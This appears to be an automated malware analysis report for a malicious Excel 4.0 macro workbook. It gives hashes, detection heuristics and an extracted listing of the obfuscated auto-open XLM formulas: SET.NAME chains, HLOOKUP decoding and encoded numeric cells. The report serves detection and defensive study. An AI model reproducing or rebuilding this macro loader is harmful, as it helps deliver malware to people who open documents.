Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4eb8ec5102551ab0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:37:54 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 208ff9fb4455ce6be09e5587dc69e4d1 SHA-1: 9e65301d92187270aaae079fc5e8c9bb09888d10 SHA-256: 4eb8ec5102551ab0db96f7191ce3d2e642e48a84f1e8425bd897410debeb606e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6807 bytes
SHA-256: 0d82e6fa7168ce10a451fb0a0216c1508a8e9427f3eda84bb915987d2000f279
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'zPKMrALObcrx') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  stowgBnR
' 0018     22 LABEL : Cell Value, String Constant - APMIdKB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H149 
' 0018     25 LABEL : Cell Value, String Constant - ChDPkgjlOD len=0 
' 0018     21 LABEL : Cell Value, String Constant - cRsgyf len=0 
' 0018     22 LABEL : Cell Value, String Constant - fpROfpY len=0 
' 0018     26 LABEL : Cell Value, String Constant - hwWvVvBtWpv len=0 
' 0018     26 LABEL : Cell Value, String Constant - ioMcCIwyRxf len=0 
' 0018     21 LABEL : Cell Value, String Constant - jbygZS len=0 
' 0018     23 LABEL : Cell Value, String Constant - kEAaTskC len=0 
' 0018     26 LABEL : Cell Value, String Constant - KjNhagoiDmt len=0 
' 0018     27 LABEL : Cell Value, String Constant - lhNLkHpiDUVd len=0 
' 0018     26 LABEL : Cell Value, String Constant - LOjfFVemcLd len=0 
' 0018     26 LABEL : Cell Value, String Constant - maNbDFwHCap len=0 
' 0018     27 LABEL : Cell Value, String Constant - nchiuNTPBwzH len=0 
' 0018     26 LABEL : Cell Value, String Constant - OvcQuMKuzvm len=0 
' 0018     26 LABEL : Cell Value, String Constant - PjXmnumQECe len=0 
' 0018     23 LABEL : Cell Value, String Constant - RFMjQxcD len=0 
' 0018     25 LABEL : Cell Value, String Constant - uyICKvntSS len=0 
' 0018     26 LABEL : Cell Value, String Constant - vazYOzyNKRD len=0 
' 0018     20 LABEL : Cell Value, String Constant - ylNPJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - zPKMrALObcrx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  stowgBnR,H59,"SET.NAME("OvcQuMKuzvm",0+VALUE("0"))",""
'  stowgBnR,H62,"SET.NAME("maNbDFwHCap",OvcQuMKuzvm)",""
'  stowgBnR,H66,"SET.NAME("hwWvVvBtWpv",OvcQuMKuzvm)",""
'  stowgBnR,H68,"SET.NAME("uyICKvntSS",COUNTA(cRsgyf))",""
'  stowgBnR,H71,"SET.NAME("ChDPkgjlOD",COUNTA(RFMjQxcD))",""
'  stowgBnR,H75,[],""
'  stowgBnR,H79,"SET.NAME("jbygZS","")",""
'  stowgBnR,H84,"maNbDFwHCap",""
'  stowgBnR,H89,"SET.NAME("ioMcCIwyRxf",HLOOKUP("*",cRsgyf,maNbDFwHCap,FALSE))",""
'  stowgBnR,H92,"APMIdKB",""
'  stowgBnR,H94,"SET.NAME("ylNPJ",OvcQuMKuzvm)",""
'  stowgBnR,H99,[],""
'  stowgBnR,S99,"",-547.00000000000000000000
'  stowgBnR,S100,"",595.00000000000000000000
'  stowgBnR,H101,"ylNPJ",""
'  stowgBnR,S101,"",-616.00000000000000000000
'  stowgBnR,S102,"",-220.00000000000000000000
'  stowgBnR,H103,"LOjfFVemcLd",""
'  stowgBnR,S103,"",632.00000000000000000000
'  stowgBnR,S104,"",766.00000000000000000000
'  stowgBnR,H107,"zPKMrALObcrx",""
'  stowgBnR,H109,"KjNhagoiDmt",""
'  stowgBnR,H114,"SET.NAME("fpROfpY",VALUE(HLOOKUP("*",RFMjQxcD,KjNhagoiDmt,FALSE)))",""
'  stowgBnR,H119,"kEAaTskC",""
'  stowgBnR,H121,"jbygZS",""
'  stowgBnR,H125,"hwWvVvBtWpv",""
'  stowgBnR,H129,NEXT(),""
'  stowgBnR,H134,"PjXmnumQECe",""
'  stowgBnR,H137,[],""
'  stowgBnR,H139,"nchiuNTPBwzH",""
'  stowgBnR,H143,NEXT(),""
'  stowgBnR,H146,RETURN(),""
'  stowgBnR,H172,"SET.NAME("lhNLkHpiDUVd",H59)",""
'  stowgBnR,H176,"cRsgyf",""
'  stowgBnR,H178,"SET.NAME("RFMjQxcD",R44C14)",""
'  stowgBnR,H181,"SET.NAME("nchiuNTPBwzH",186)",""
'  stowgBnR,H183,"SET.NAME("vazYOzyNKRD",8)",""
'  stowgBnR,H185,lhNLkHpiDUVd(),""
'  stowgBnR,H186,HALT(),""

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